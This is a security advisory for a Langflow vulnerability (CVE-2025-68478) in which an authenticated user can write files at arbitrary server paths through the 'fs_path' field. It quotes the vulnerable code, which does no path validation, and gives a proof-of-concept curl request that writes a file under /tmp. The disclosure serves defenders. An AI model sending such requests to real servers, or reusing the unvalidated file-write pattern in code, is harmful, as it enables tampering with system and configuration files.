CVE-2025-68478

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, if an arbitrary path is specified in the request body's `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is. Version 1.7.0 fixes the issue.

**Vulnerability Overview** If an arbitrary path is specified in the request body's `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is. **Vulnerable Code** 1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168 ```python @router.post("/", response_model=FlowRead, status_code=201) async def create_flow( *, session: DbSession, flow: FlowCreate, current_user: CurrentActiveUser, ): try: db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id) await session.commit() await session.refresh(db_flow) await _save_flow_to_fs(db_flow) except Exception as e: ``` 2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38 ```python CurrentActiveUser = Annotated[User, Depends(get_current_active_user)] CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)] DbSession = Annotated[AsyncSession, Depends(get_session)] ``` 3. The client can directly specify the save path, including `fs_path`. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70 ```python ): try: await _verify_fs_path(flow.fs_path) """Create a new flow.""" ``` 4. It attempts to create the file (or *the* file, in the case of a path without a parent) directly without path validation. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49 ```python async def _verify_fs_path(path: str | None) -> None: if path: path_ = Path(path) if not await path_.exists(): await path_.touch() ``` 5. Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting). https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58 ```python async def _save_flow_to_fs(flow: Flow) -> None: if flow.fs_path: async with async_open(flow.fs_path, "w") as f: try: await f.write(flow.model_dump_json()) except OSError: await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path) ``` **PoC Description** When an authenticated user passes an arbitrary path in `fs_path`, the Flow JSON is written to that path. Since `/tmp` is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions. **PoC** - **Before Exploit** <img width="1918" height="658" alt="image" src="https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d" /> - **After Exploit** ```bash curl -sS -X POST "http://localhost:7860/api/v1/flows/" \ -H "Content-Type: application/json" \ -H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \ -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"/tmp/POC.txt"}' ``` <img width="1918" height="742" alt="image" src="https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174" /> ### Impact - **Authenticated Arbitrary File Write (within server permission scope):** Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components. - **Both absolute and relative paths are allowed, enabling base directory traversal.** The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings. - **The file content is limited to Flow JSON,** but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing. - **In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.**